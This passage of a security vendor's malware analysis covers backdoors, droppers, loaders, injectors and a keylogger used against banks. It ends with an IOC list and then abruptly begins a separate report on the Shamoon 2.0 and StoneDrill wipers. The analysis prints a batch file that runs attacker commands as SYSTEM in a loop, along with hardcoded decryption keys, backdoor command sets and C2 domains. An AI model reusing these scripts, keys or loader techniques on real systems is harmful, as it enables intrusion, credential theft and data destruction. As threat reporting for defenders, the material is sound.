+This executable was written using the Microsoft MFC framework. The application is designed to
+run as a service, however it can also start and work as a standalone non-service process. It
+registers with the name of "helpsvcs". The code is organized in classes, one of which, the main
+application class, has a static text variable set to "PVS", which seems to be unused in the code.
+This service relies on command line arguments passed as an integer defining the port number
+that it will listen to in the future. This is a reduced minimalistic way of configuring and using the
+backdoor in listening mode, however there is a class that is responsible for loading or saving full
+configuration block from/to the registry.
+The registry value used to store the configuration depends on the parameter value
+(%parameter%) passed to the function. The registry configuration is located at
+HKCR\NR%parameter%\Content Setting.
+The main service procedure generates a unique instance ID which is set to pseudo-randomly
+selected 8 bytes. Some previous versions of the code relied on some pseudo-random values
+derived from the current time and MAC addresses of available network cards, but then was
+changed to a hardware independent value.
+This backdoor takes care of enabling ports in the Windows Firewall by creating a new firewall
+rule named "Windows Firewall Remote Management" using netsh.exe tool on Windows, which
+enables an incoming connection to any executable on the TCP port that is currently used by the
+backdoor. In case this rule has different name in other samples, it's quite easy to find it,
+because it doesn't specify which group of rules it belongs to, unlike all other default Windows
+Firewall rules. Sorting Firewall rules by group name may quickly reveal such an odd rule:
+The backdoor provides process and file management, as well as the creation of TCP connection
+relays.
+Another backdoor based on the same code was found in the same bank, however it was made
+as a standalone executable instead of a DLL. Short description and file properties are provided
+below:
+MD5: bbd703f0d6b1cad4ff8f3d2ee3cc073c
+Link time: 2014.09.22 13:12:17 (GMT)
+Linker version: 6.0
+Size: 106'496 bytes
+Export section timestamp: Fri Jan 8 16:41:26 UTC 2016
+Original name: fmapi.dll
+Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
+Used in: Incident #1
+This file is a backdoor that listens to a port specified in the %WINDIR%\temp\scave.dat file as
+an integer number. It supports about 20 commands, which enable the operator to:
+ Collect general system information
+ Search files/directories by name
+ Start new process as current user
+ Start process as another logged in user
+ Start process and collect output from stdout
+ Get file from specified path
+ Drop new executables into system directory
+ Compress and download files
+ List processes and their respective loaded modules
+ Kill processes by name
+ Fake file timestamp by copying it from kernel32.dll
+ Start a new backdoor session on another port
+ List active terminals sessions with details
+ Relay TCP connections to a remote host
+The executable contains a custom PE loader code that is identical to a custom PE loader from
+Lazarus Loader modules dubbed by Novetta as LimaAlfa.
+This module contains a small embedded executable in the data section, encrypted with a trivial
+(xor 0xb1, add 0x4f) method. The MZ header is wiped from that embedded file and is restored
+during decryption routine. Some other properties of the small embedded file are listed below
+(MD5: 8387ceba0c020a650e1add75d24967f2). This executable module is used to force
+unloading a DLL from memory.
+Malware 8: Trojan Dropper
+Discovered path: C:\WINDOWS\igfxpers.exe
+MD5: 6eec1de7708020a25ee38a0822a59e88
+Size: 253'952 bytes
+Time modified: 2016-01-18 06:08:36 (GMT)
+Time accessed: 2016-08-22 12:38:37 (GMT)
+Time changed: 2016-08-22 13:04:42 (GMT)
+Time created: 2016-01-18 06:08:32 (GMT)
+Link time: 2014-09-22 13:12:17 (GMT)
+Linker version: 6.0
+Other filenames: hkcmd.exe
+Used in: Incident #1
+This is a dropper of an embedded malware. It uses RC4 to decrypt resources and drop and start
+a new process from disk. The RC4 is an MD5 of a command line argument (secret passphrase)
+following "-x" parameter. The second command line argument "-e" defines the name for the new
+service to be registered. The MD5 hash of the passphrase is stored in the registry and is used
+by the DLL Loader in the later stage.
+The binary picks one of the names to drop the payload to, and chooses a corresponding service
+description when registering.
+FileName
+Description
+wanmgr
+WiFi Connection Management Service
+vrddrv
+Windows Virtual Disk Service
+trufont
+Font Cache Service
+wmvdec
+Media Center Network Sharing
+biomgs
+Biometric Service
+gpcpolicy
+Group Policy Server Service
+diagmgs
+Diagnostic Policy Client
+waindex
+Windows Indexing Service
+trabcon
+Network Traffic Balancing Service
+authen
+Remote Logon Authentication
+The dropped file is saved into %SYSTEMROOT%\System32\%FileName%.dll on Windows 32bit and %SYSTEMROOT%\SysWow64\%FileName%.dll on Windows 64-bit.
+Known command line usage:
+hkcmd.exe -x <passphrase> -e LogonHours
+We managed to find the right password (20+ characters long), which enabled us to decrypt the
+payload.
+Malware 9: DLL Loader
+MD5: 268dca9ad0dcb4d95f95a80ec621924f
+Link time: 2014.12.08 13:12:17 (GMT)
+Linker version: 6.0
+Size: 192'512 bytes
+Export section timestamp: Fri Jan 8 16:54:25 UTC 2016
+Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
+Original name: ext-ms-win-ntuser-dialogbox-l1-1-0.dll
+Used in: Incident #1
+This file is dropped by the Trojan Dropper described above. It is a malware loader service,
+which gets the decryption key from the registry, uses RC4 to decrypt an embedded resource
+and start the payload. The RC4 decryption key is obtained from
+HKCR\NR%parameter%\ContextHandler value, which is set by the Trojan Dropper during
+malware installation.
+The embedded resource contains one of the Passive Backdoors described in this paper.
+Another variant of the DLL loader heavily uses system registry to fetch the decryption key, and
+the encrypted payload.
+Name: lcsvsvc.dll
+MD5: c635e0aa816ba5fe6500ca9ecf34bd06
+SHA1: d7d724718065b2f386623dfaa8d1c4d22df7b72c
+SHA256: 93e7e7c93cf8060eeafdbe47f67966247be761e0dfd11a23a3a055cf6b634120
+File size: 1'545'216 bytes
+File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
+Link time: 2015.12.09 14:12:41 (GMT)
+Exp. time: 2016.03.19 18:32:34 (GMT)
+Linker version: 10.0
+Export module Name: msshooks.dll
+Used in: Incident #2
+This module is similar to other 64-bit variants. However, it is registered as a service and gets an
+RC4 key and the payload from the registry values of its own service. The name of the service is
+not fixed and is probably set during installation stage.
+Here is the registry value path for the RC4 key and encrypted payload respectively:
+HKLM\SYSTEM\CurrentControlSet\Services\%SERVICENAME%\Security\Data2
+HKLM\SYSTEM\CurrentControlSet\Services\%SERVICENAME%\Security\Data0
+The code gets the 16-bytes RC4 key from the registry (f9 65 8b c9 ec 12 f9 ae 50 e6 26 d7 70
+77 ac 1e) and encrypted payload, decrypts the payload with that key and then decrypts it one
+more time with the following hardcoded key (previously seen in the backdoor management tool):
+53 87 F2 11 30 3D B5 52 AD C8 28 09 E0 52 60 D0 6C C5 68 E2 70 77 3C 8F 12 C0 7B 13 D7
+B3 9F 15
+The final decrypted payload is loaded and started as a DLL in memory. At the time of analysis
+the attackers managed to wipe the payload in the registry with a benign system file data, so only
+the RC4 key remained untouched and was found in the registry.
+Malware 10: Keylogger
+MD5: 5ebfe9a9ab9c2c4b200508ae5d91f067
+Known filenames: NCVlan.dat
+File size: 73'216 bytes
+Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
+Link time: 2016.04.06 07:38:57 (GMT)
+Linker version: 10.0
+Original name: grep.dll
+Used in: Incident #1
+This module is a user-mode keylogger. It contains an export function with an empty name,
+which has the main functionality of the module.
+Upon starting it creates a new thread, which suggests that it has to be loaded by a custom PE
+loader (probably by the DLL Injector described in this paper, MD5:
+949e1e35e09b25fca3927d3878d72bf4). The main thread registers a new class named "Shell
+TrayCls%RANDOM%", where %RANDOM% value is an integer returned by the system rand
+function seeded with the current system time. Next, it creates a window called "Shell
+Tray%RANDOM%". The new window registers a system-wide keyboard hook and starts
+recording keypresses and Unicode text in context of the clipboard. The data is saved into a
+current user profile directory in a file that is named after the username via the following template
+string:
+NTUSER{%USERNAME%}.TxS.blf. For example, the full path that we discovered was
+"C:\Users\[redacted]\NTUSER.DAT{[redacted operator]}.TxS.blf". The data written in the file is
+encrypted with RC4 with the following hardcoded 64-bytes key:
+53 55 4D A2 30 55 53 44 30 2C 30 3E 27 44 42 54
+20 4C 49 4D 49 54 43 55 53 44 30 2C 0D 0A 43 44
+54 19 53 55 4D 7F 31 55 53 44 32 36 35 2C 30 E4
+37 43 44 54 98 4C 49 4D 49 54 1B 55 53 44 30 2C
+The RC4 key is not entirely random and seems to contain chunks of readable ASCII text related
+to some database contents or queries:
+"SUM.0USD0,0>'DBT LIMITCUSD0,..CDT.SUM.1USD265,0.7CDT.LIMIT.USD0,"
+We assume this is done to complicate the recognition of a password-like string by eye, or use a
+value that would cause some false-positives when scanning for such a pattern.
+The keylogger data file is a binary log that contains sequences of records organized in blocks
+which have the following events inside:
+1. Session Start (Logon):
+Contains username, type of session (rdp, console, etc), session id.
+2. Session Activity:
+Contains active windows name and sequence of typed keys.
+3. Session End (Logoff):
+Contains username, session id.
+Every event record contains a DWORD timestamp.
+The module also starts a watchdog thread that keeps monitoring the creation of a trigger-file
+called ODBCREP.HLP in the directory of the current DLL. If such file is found, the keylogger
+removes the keyboard hook and unloads from the process immediately.
+Malware 11: Trojan Dropper 2
+Filename: gpsvc.exe
+MD5: 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae
+SHA1: bedceafa2109139c793cb158cec9fa48f980ff2b
+File Size: 3449344 bytes
+File Type: PE32+ executable (console) x86-64, for MS Windows
+Link Time: 2016.12.08 00:53:20 (GMT)
+Linker version: 10.0
+Used in: Polish bank
+This module is a command line malware dropper/installer, which contains two data containers in
+the resource section.
+The dropper command line takes the following:
+gpsvc.exe -e %name% - drop payload on disk
+gpsvc.exe -l - lists all registered services under netsvcs registry key3.
+gpsvc.exe -a %param2% %param3% - registers a news service using %param2% as the
+service name and %param3% as the path to DLL file of service binary. If the %param3%
+doesn't contain "\" character, the code uses it as the filename in %SYSTEMROOT%\System32\.
+HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs
+When -e option is used, the files stored in the containers are extracted, decrypted where
+encryption is used, and dropped to a disk in two locations: one goes to the current directory as
+%name%, another is saved into %SYSTEMROOT%\Help\%name%.chm. The value of the
+%name% parameter is passed via command line argument.
+The container starts with a 40 bytes header describing the start of the payload, container and
+the payload data inside. The data may or may not be encrypted and there is no specific flag
+identifying that in container itself. The code processing the container will know whether the
+container's payload requires decryption.
+Upon successful extraction of the files, the dropper will show the following message on the
+command line:
+Fig. Report of successful payload deployment.
+The first extracted file is decrypted using the following key and Spritz algorithm, a variant of the
+RC4 family: 95 B4 08 68 E4 8B 72 94 5E 61 60 BF 3F D7 F9 41 10 9A 4A C4 66 41 99 48 CC
+79 F5 6A FE 5F 12 E5
+The second file is extracted as-is, however, brief analysis of its header suggested that it is
+encrypted with the same crypto and key.
+The dropped files after decryption have the following MD5 hashes:
+ad5485fac7fed74d112799600edb2fbf
+16a278d0ec24458c8e47672529835117
+Malware 12: DLL Injector
+MD5: 16a278d0ec24458c8e47672529835117
+SHA1: aa115e6587a535146b7493d6c02896a7d322879e
+File size: 1515008 bytes
+File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
+Link time: 2016.12.08 00:53:43 (GMT)
+Linker version: 10.0
+Export module name: wide_loader.dll
+Used in: Incident #2
+This module is packed with a commercial product known as the Enigma Protector, which was
+developed by a Russian software developer Vladimir Sukhov in 2004. This module is
+implemented as a service binary with ServiceMain procedure. On starting it imports all
+necessary system API functions, and searches for the .CHM file inside
+%SYSTEMROOT%\Help\%name%.chm, where %name% matches the name of current DLL
+module. Then it decrypts the payload using the Spritz algorithm with the hardcoded key: 95 B4
+08 68 E4 8B 72 94 5E 61 60 BF 3F D7 F9 41 10 9A 4A C4 66 41 99 48 CC 79 F5 6A FE 5F 12
+Next, it searches the target process and attempts to inject the decrypted payload module from
+the CHM file into the address space of the target process. The target process can be one of
+two:
+1. lsass.exe
+2. itself (current service process)
+The process to inject the code is hardcoded and defined during the compilation of the module.
+According to the code the current module injects payload into itself.
+Some more similar DLL Injector samples were found in Europe and in the Middle East. The
+following files were discovered:
+Filename: srservice.dll
+MD5: e29fe3c181ac9ddbb242688b151f3310
+SHA1: 7260340b7d7b08b7a9c7e27d9226e17b7170a436
+File size: 79360 bytes
+File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
+Link time: 2016.10.22 07:08:16 (GMT)
+Exp. time: 2016.10.22 07:08:16 (GMT)
+Linker version: 10.0
+Export module name: wide_loader.dll
+Used in: Incident #2
+Filename: msv2_0.dll
+MD5: 474f08fb4a0b8c9e1b88349098de10b1
+SHA1: 487f64dc8e98e443886b994b121f4a0c3b1aa43f
+File size: 78848 bytes
+File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
+Link time: 2016.12.08 00:53:39 (GMT)
+Exp. time: 2016.12.08 00:53:39 (GMT)
+Linker version: 10.0
+Export module name: wide_loader.dll
+Used in: Incident #2
+Filename: SRService.dll
+MD5: 07e13b985c79ef10802e75aadfac6408
+SHA1: a0c02ce526d5c348519905710935e22583d81be7
+File size: 79360 bytes
+File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
+Link time: 2016.10.22 07:08:16 (GMT)
+Exp. time: 2016.10.22 07:08:16(GMT)
+Linker version: 10.0
+Used in: the Middle East
+These files are different from those previously seen in DLL Injector, because they are not
+packed with Enigma Protector. They also contain different 32-byte Spritz keys:
+ 65 06 18 33 60 10 48 F7 57 9B 98 76 CA B5 29 60 71 CB 0B 97 7E D4 A2 F9 22 CC
+4E 79 52 64 4A 75
+ 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6
+FA 4C 9E 3A 8F 98
+ 78 CB C3 77 35 5C F2 82 8A 3A 08 71 6A D5 C3 D9 A1 1B 6A BA C5 9C 5D BC 6A
+EC F0 B8 96 49 79 7A
+The purpose of these variants is the same - decrypt the corresponding CHM file with the
+payload and inject it in the memory of lsass.exe or current process.
+The payloads found in these cases were:
+ fde55de117cc611826db0983bc054624 (Active Advanced Backdoor Type B)
+ 17bc6f5b672b7e128cd5df51cdf10d37 (Active Advanced Backdoor Type B)
+Malware 13: Active Backdoors 2
+Filename: %name%.chm
+MD5: ad5485fac7fed74d112799600edb2fbf
+SHA1: a107f1046f5224fdb3a5826fa6f940a981fe65a1
+File size: 1861632 bytes
+File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
+Link time: 2016.12.08 00:55:06 (GMT)
+Export time: 2016.12.08 00:55:04 (GMT)
+Linker version: 10.0
+Export module name: aclui.dll
+This module is dropped to the disk in .CHM file and stored in encrypted form. It can be
+decrypted and started with the DLL Injector module (i.e.
+16a278d0ec24458c8e47672529835117). Like the other file in the same package, it is wrapped
+with Enigma Protector.
+The module has no business logic starting from the entry point. Core logics are called from one
+of two exported functions:
+ ?DllRegister@@YAX_KK0K0PEAXK@Z (start backdoor with default parameters)
+ InitDll (start backdoor with configuration passed via parameter)
+The InitDll function sets up basic requirements and prepares paths to other essential
+components, which are expected in the following filepaths:
+%SYSTEMROOT%\Help\*.chm
+%SYSTEMROOT%\Help\*.hlp
+The .hlp file from the Help Directory is loaded and decrypted using Spritz algorithm4 and the
+following key:
+6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C
+9E 3A 8F 98
+The module contains an embedded default config which is saved to .hlp file in encrypted form if
+the file is missing. It contains the following C2 information:
+ exbonus.mrbasic[.]com:443
+Similar to Active Advanced Backdoor Type A (see md5: 2ef2703cfc9f6858ad9527588198b1b6)
+it doesn't use resolved IP of the C2 directly, but XORs the DNS query result with hardcoded key
+0x4F833D5B.
+The backdoor protocol supports the following commands sent as a DWORD, however this
+DWORD is convertible to a meaningful ASCII representation of the command as shown below:
+Command ID
+Description
+NONE
+No actions.
+GINF
+Get system information: hostname, OS version, CPU type, system locale,
+RAM, disk free space, BIOS version and manufacturer, list of network
+interface cards with properties.
+SLEP
+Disconnect from C2. Save current time and show no network activity for
+specified time. It seems like this sleep is persistent over program restarts.
+HIBN
+Disconnect from C2 and show no network activity.
+DRIV
+Show all available drives and used/available space on them.
+List files in specified directory.
+DIRP
+List files and directories recursively starting from specified path.
+CHDR
+Change current directory.
+A very similar implementation of the Sprtiz algorithm in C is available at
+https://github.com/jedisct1/spritz/blob/master/spritz.c
+Run specified command.
+RUNX
+Run specified command as another Terminal Session user.
+Delete file(s) based on file path pattern.
+WIPE
+Wipe file(s) based on file path pattern. A hardcoded pattern (not defined in
+current sample) or randomly generated bytestream is used. Wiping with
+random data is done three times. A DWORD constant is present from some
+older wiper's code pattern: 0xE77E00FF.
+MOVE
+Move file.
+FTIM
+Set time for file(s) specified by file path pattern. Use
+%systemroot%\kernel32.dll as source of timestamps. If kernel32.dll is not
+found, a hardcoded value is used:
+12:12:46.493 03 September 2008
+NEWF
+Create a directory.
+ZDWN
+Compress and download specified file path recursively.
+DOWN
+Compress and download a single file.
+UPLD
+Upload and uncompress file to the specified directory. The directory is created
+if it doesn't exist.
+PVEW
+Get detailed process information: PID, Session ID, CPU performance status,
+memory used, full path.
+PKIL
+Kill process by name or PID.
+CMDL
+Execute a command and read the output. This is done via redirection of
+command output to a text file in temp directory, reading and sending the
+contents of the file after the process is complete.
+Set a flag to terminate immediately. Cleanup and shutdown.
+GCFG
+Get current backdoor configuration.
+SCFG
+Set new backdoor configuration.
+TCON
+Test connection with remote hosts. Open TCP connection to the specified host
+and port. Send 2 random bytes to test connection.
+PEEX
+Inject an executable module into address space of explorer.exe.
+PEIN
+Inject an executable module into address space of process defined by PID.
+An identical file was found in Incident #2:
+Filename: msv2_0.chm.dec
+MD5: 17bc6f5b672b7e128cd5df51cdf10d37
+SHA1: 072245dc2339f8cd8d9d56b479ba5b8a0d581ced
+File size: 729088 bytes
+File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
+Link time: 2016.12.08 00:55:06 (GMT)
+Exp. time: 2016.12.08 00:55:04 (GMT)
+Linker version: 10.0
+Export module name: aclui.dll
+Another similar file was used during the attack in Incident #2:
+MD5: fde55de117cc611826db0983bc054624
+SHA1: 1eff40761643f310a5cd7449230d5cfe9bc2e15f
+File size: 729088 bytes
+File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
+Link time: 2016.10.22 07:09:50 (GMT)
+Exp. time: 2016.10.22 07:09:48 (GMT)
+Linker version: 10.0
+Export module name: aclui.dll
+The .hlp file from the Help Directory is loaded and decrypted using the Spritz algorithm and the
+familiar key: 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE
+DC F6 FA 4C 9E 3A 8F 98
+The .hlp file contains references to two C2 servers, which refer to:
+tradeboard.mefound[.]com:443
+movis-es.ignorelist[.]com:443
+The following table shows connections between known C2s
+Domain
+IP xor Key
+(Real C2)
+First Seen
+Last Seen
+Resolved IP (C2
+disguise)
+exbonus.mrbasic[.]com
+218.224.125[.]66
+2017-01-29
+2017-02-06
+129.221.254.13
+exbonus.mrbasic[.]com
+82.144.131[.]5
+2017-02-06
+2017-02-06
+9.173.0.74
+tradeboard.mefound[.]com
+218.224.125[.]66
+2017-01-29
+2017-01-31
+129.221.254.13
+tradeboard.mefound[.]com
+82.144.131[.]5
+2017-02-01
+2017-02-06
+9.173.0.74
+movis-es.ignorelist[.]com
+82.144.131[.]5
+2017-02-01
+2017-02-06
+9.173.0.74
+Similar two 32-bit based samples were used in an attack on a target in Costa Rica in 2016:
+ 2de01aac95f8703163da7633993fb447
+ 5fbfeec97e967325af49fa4f65bb2265
+These samples contain the same backdoor commands and rely on the same cryptoalgorithm
+and identical hardcoded crypto key. However, these files do not contain embedded config with
+default C2 domain.
+Malware 14: Privileged Execution Batch
+Name: msdtc.bat
+MD5: 3b1dfeb298d0fb27c31944907d900c1d
+SHA1: b9353e2e22cb69a9cd967181107113a12197c645
+Size: 454 bytes
+Type: Windows batch file
+Used in: Polish bank
+The following Windows batch file was found during a security sweep in one of the attacked
+banks:
+@echo off
+SET cmd_path=C:\Windows\Temp\TMP298.tmp
+copy NUL %cmd_path%
+:loop
+ping -n 1 1.1.1.1 > nul
+for /f "tokens=*" %%a in (%cmd_path%) do (
+if "%%a" equ "die" (
+rem del /a %cmd_path%
+rem del /a %cmd_path%.ret
+echo die >> %cmd_path%.ret
+goto end
+) else (
+echo %%a >> %cmd_path%.ret
+%%a >> %cmd_path%.ret 2>&1
+echo -------------------------------------------------------- >> %cmd_path%.ret
+copy NUL %cmd_path%
+goto loop
+The purpose of this file is to execute one or more commands on the command line and redirect
+the output to a file on disk. The list of commands to run is located in the following file path (let's
+call it source file): C:\Windows\Temp\TMP298.tmp. Once the commands are executed, it sleeps
+for one second and starts the process again until the source file contains a line with just one
+word in it: "die".
+This batch file opens and runs every command mentioned in the .tmp file and saves the output
+to C:\Windows\Temp\TMP298.tmp.ret. Once it finds the word "die" in the source, it deletes the
+source and the output file and quits. However, this batch file is either broken or implemented
+with a bug. Note the line "goto end" and no label called ":end" in the batch file.
+We can only speculate how this file was used in the real attack, but one theory looks to be the
+most probable: it was used as an awkward way to execute commands with SYSTEM user
+privileges. While it is possible to run commands as a SYSTEM user when you have
+administrative privileges on a target machine, getting an interactive shell requires more work. A
+batch file like this could run in the background, quietly spawning cmd.exe in a loop and nonresource exhausting mode. Passing commands to the source file would allow attackers to
+conveniently execute them the next second and get the output via another text file. This infinite
+loop could be easily broken with the "die" keyword. So far, we believe that this file could serve
+as a privilege escalation trampoline for other unprivileged processes (such as usermode
+backdoor).
+Malware 14. Backdoor Management Tool
+Filename: gpsvc.exe
+MD5: 85d316590edfb4212049c4490db08c4b
+SHA1: 4f0d7a33d23d53c0eb8b34d102cdd660fc5323a2
+File Size: 753664 bytes
+File Type: PE32 executable (console) Intel 80386, for MS Windows
+Link Time: 2015.08.24 10:21:52 (GMT)
+Linker version: 8.0
+This module is a commandline tool that helps to install a new service. In addition it is capable of
+doing code injection and works as a service itself. The binary is protected with Enigma
+Protector.
+If the module is started without commandline arguments, it quits immediately.
+Depending on commandline options passed the tool may work in different modes.
+1. Service Enumeration Mode
+Commandline: gpsvc.exe -l
+This mode is selected with commandline option -v. In this case the module get a list of
+services from hardcoded registry value HKLM\SOFTWARE\Microsoft\Windows
+NT\CurrentVersion\svchost\netsvcs. This value is a present on clean Windows installation
+and usually contains a list of standard service names that may generate some network activity.
+The code iterates through available services and prints to standard output every service
+it managed to open with read privileges (used just to confirm that the service is running). After
+this the tool exits.
+2. Service Activation Mode
+Commandline: gpsvc.exe -s %param1% %param2%
+In this mode the module registers and starts a new service if it doesn't exist. The service
+name is based on the current executable filename. The following commandline is stored in the
+registry to start the service:
+"%self_path%" -k %param1% %param2%
+Where %self_path% is full path to current executable and %param1%, %param2% are
+passed as-is from current commandline.
+3. File Payload Deployment
+Commandline: gpsvc.exe -e %param1% %param2%
+In this mode the module extracts and stores additional executable on the filesystem
+(filepath is inside installation cryptocontainer). It uses %param2% to open the file as a
+cryptocontainer. Cryptocontainer is encrypted with two RC4 keys:
+A. KeyA which is 16 bytes of MD5 value from a string which is passed via %param1%
+B. KeyB is a hardcoded 32-byte binary value: 53 87 F2 11 30 3D B5 52 AD C8 28 09 E0 52
+60 D0 6C C5 68 E2 70 77 3C 8F 12 C0 7B 13 D7 B3 9F 15
+It contains payload data to be installed into registry and some paths.
+4. Registry Payload Deployment
+Commandline: gpsvc.exe -f %param1% %param2%
+This mode is very similar to "File Payload Deployment" described above, but in this case
+the module is instructed to install the payload into the registry value.
+5. Service Test
+Commandline: gpsvc.exe -o %param1%
+This mode is used to ensure that the service is running correctly by checking that a
+special event object named %param1% exists.
+6. Service Termination
+Commandline: gpsvc.exe -t %param1%
+This mode is used signal the running service via special event object named %param1%
+to terminate execution.
+7. Payload Injection Mode
+Commandline: gpsvc.exe -k %param1% %param2%
+In this mode the module assumes that it can be a service binary, so it tries to behave as
+service. If it fails it falls back to regular standalone executable mode. Main purpose of this code
+is to find payload in the registry, decrypt it and inject into target process memory. The payload is
+stored in the following registry value:
+HKLM\SYSTEM\CurrentControlSet\services\%servicename%\Security\Data2
+It is encrypted with RC4, and key is taken from the registry using the following binary value (16
+bytes): HKLM\SYSTEM\CurrentControlSet\services\%servicename%\Security\Data3.
+The cryptocontainer used by this module contains a magic value after it's decrypted with MD5 of
+the secret passed via commandline and hardcoded RC4 key. At offset 4 it has to contain the
+following DWORD: 0xBC0F1DAD (AD 1D 0F BC).
+Appendix: Indicator of Compromise
+Malware Hosts
+sap.misapor[.]ch
+tradeboard.mefound[.]com:443
+movis-es.ignorelist[.]com:443
+update.toythieves[.]com:8080
+update.toythieves[.]com:443
+exbonus.mrbasic[.]com:443
+Malware Hashes
+02f75c2b47b1733f1889d6bbc026157c
+06cd99f0f9f152655469156059a8ea25
+07e13b985c79ef10802e75aadfac6408
+09a77c0cb8137df82efc0de5c7fee46e
+0abdaebbdbd5e6507e6db15f628d6fd7
+16a278d0ec24458c8e47672529835117
+17bc6f5b672b7e128cd5df51cdf10d37
+198760a270a19091582a5bd841fbaec0
+1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae
+1d0e79feb6d7ed23eb1bf7f257ce4fee
+268dca9ad0dcb4d95f95a80ec621924f
+2963cd266e54bd136a966bf491507bbf
+2de01aac95f8703163da7633993fb447
+2ef2703cfc9f6858ad9527588198b1b6
+3b1dfeb298d0fb27c31944907d900c1d
+459593079763f4ae74986070f47452cf
+474f08fb4a0b8c9e1b88349098de10b1
+579e45a09dc2370c71515bd0870b2078
+5d0ffbc8389f27b0649696f0ef5b3cfe
+5ebfe9a9ab9c2c4b200508ae5d91f067
+5fbfeec97e967325af49fa4f65bb2265
+6eec1de7708020a25ee38a0822a59e88
+7413f08e12f7a4b48342a4b530c8b785
+8387ceba0c020a650e1add75d24967f2
+85d316590edfb4212049c4490db08c4b
+949e1e35e09b25fca3927d3878d72bf4
+954f50301207c52e7616cc490b8b4d3c
+9d1db33d89ce9d44354dcba9ebba4c2d
+ad5485fac7fed74d112799600edb2fbf
+b135a56b0486eb4c85e304e636996ba1
+b9be8d53542f5b4abad4687a891b1c03
+bbd703f0d6b1cad4ff8f3d2ee3cc073c
+c1364bbf63b3617b25b58209e4529d8c
+c635e0aa816ba5fe6500ca9ecf34bd06
+cb65d885f4799dbdf80af2214ecdc5fa
+ce6e55abfe1e7767531eaf1036a5db3d
+e29fe3c181ac9ddbb242688b151f3310
+e62a52073fd7bfd251efca9906580839
+f5e0f57684e9da7ef96dd459b554fded
+fde55de117cc611826db0983bc054624
+FROM SHAMOON TO STONEDRILL
+Wipers attacking Saudi organizations and beyond
+Beginning in November 2016, Kaspersky Lab observed a new wave of wiper attacks directed at
+multiple targets in the Middle East. The malware used in the new attacks was a variant of the
+infamous Shamoon worm that targeted Saudi Aramco and Rasgas back in 2012.
+Dormant for four years, one of the most mysterious wipers in history has returned.
+So far, we have observed three waves of attacks of the Shamoon 2.0 malware, activated on 17
+November 2016, 29 November 2016 and 23 January 2017.
+Also known as Disttrack, Shamoon is a highly destructive malware family that effectively wipes
+the victim machine. A group known as the Cutting Sword of Justice took credit for the Saudi
+Aramco attack by posting a Pastebin message on the day of the attack (back in 2012), and
+justified the attack as a measure against the Saudi monarchy.
+The Shamoon 2.0 attacks observed since November 2016 have targeted organizations in
+various critical and economic sectors in Saudi Arabia. Just like the previous variant, the
+Shamoon 2.0 wiper aims for the mass destruction of systems inside targeted organizations.
+The new attacks share many similarities with the 2012 wave, though featuring new tools and
+techniques. During the first stage, the attackers obtain administrator credentials for the victim
+network. Next, they build a custom wiper (Shamoon 2.0) which leverages these credentials to
+spread widely inside the organization. Finally, on a predefined date, the wiper activates,
+rendering the victim
+s machines completely inoperable. It should be noted that the final stages
+of the attacks have their activity completely automated, without the need for communication with
+the command and control center.
+While investigating the Shamoon 2.0 attacks, Kaspersky Lab also discovered a previously
+unknown wiper malware which appears to be targeting organizations in Saudi Arabia. We
+calling this new wiper StoneDrill. StoneDrill has several 
+style
+ similarities to Shamoon, with
+multiple interesting factors and techniques to allow for the better evasion of detection. In
+addition to suspected Saudi targets, one victim of StoneDrill was observed on the Kaspersky
+Security Network (KSN) in Europe. This makes us believe the threat actor behind StoneDrill is
+expanding its wiping operations from the Middle East to Europe.
+To summarize some of the characteristics of the new wiper attacks, for both Shamoon and
+StoneDrill:
+Shamoon 2.0 includes a fully functional ransomware module, in addition to its common
+wiping functionality.
+Shamoon 2.0 has both 32-bit and 64-bit components.
+The Shamoon samples we analyzed in January 2017 do not implement any command
+and control (C&C) communication; previous ones included a basic C&C functionality that
+referenced local servers in the victim
+s network.
+StoneDrill makes heavy use of evasion techniques to avoid sandbox execution.
+While Shamoon embeds Arabic-Yemen resource language sections, StoneDrill embeds
+mostly Persian resource language sections. Of course, we do not exclude the possibility
+of false flags.
+StoneDrill does not use drivers during deployment (unlike Shamoon) but relies on
+memory injection of the wiping module into the victim
+s preferred browser.
+Several similarities exist between Shamoon and StoneDrill.
+Multiple similarities were found between StoneDrill and previously analysed NewsBeef
+attacks.
+What is new in this report?
+This report provides new insights into the Shamoon 2.0 and StoneDrill attacks, including:
+1. The discovery techniques and strategies we used for Shamoon and StoneDrill.
+2. Details on the ransomware functionality found in Shamoon 2.0. This functionality is
+currently inactive but could be used in future attacks.
+3. Details on the newly found StoneDrill functions, including its destructive capabilities
+(even with limited user privileges).
+4. Details on the similarities between malware styles and malware components
+ source
+code found in Shamoon, StoneDrill and NewsBeef.
+1. From Shamoon to StoneDrill: the discovery
+1.1. Shamoon: It
+s all about the 
+resources
+Few people ever expected the return of Shamoon after four years of silence. This made the
+news from the Middle East on 17 November 2016 quite surprising, and sent multiple
+shockwaves through the industry. After the second wave of attacks, which took place on 29
+November 2016, it became quite clear that Shamoon 2.0 was no longer an isolated incident, but
+part of a new series of attacks and we should expect more waves coming in. In order to make
+sure that Kaspersky Lab customers were protected, we started to develop specific detection
+strategies and hunt for possible new variants.
+To create the new detections, we used multiple ideas:
+The Shamoon wipers have their additional payloads stored as encrypted resources.
+Just like in 2012, the early Shamoon 2.0 samples used resources with three very
+specific names - "PKCS7", "PKCS12" and "X509". Because of their uniqueness it was
+relatively easy to find and detect them just by the resource names and their high
+entropy. Unfortunately, newer versions had random resource names like "ICO", "LANG"
+and "MENU", so the ability to easily find new samples was lost.
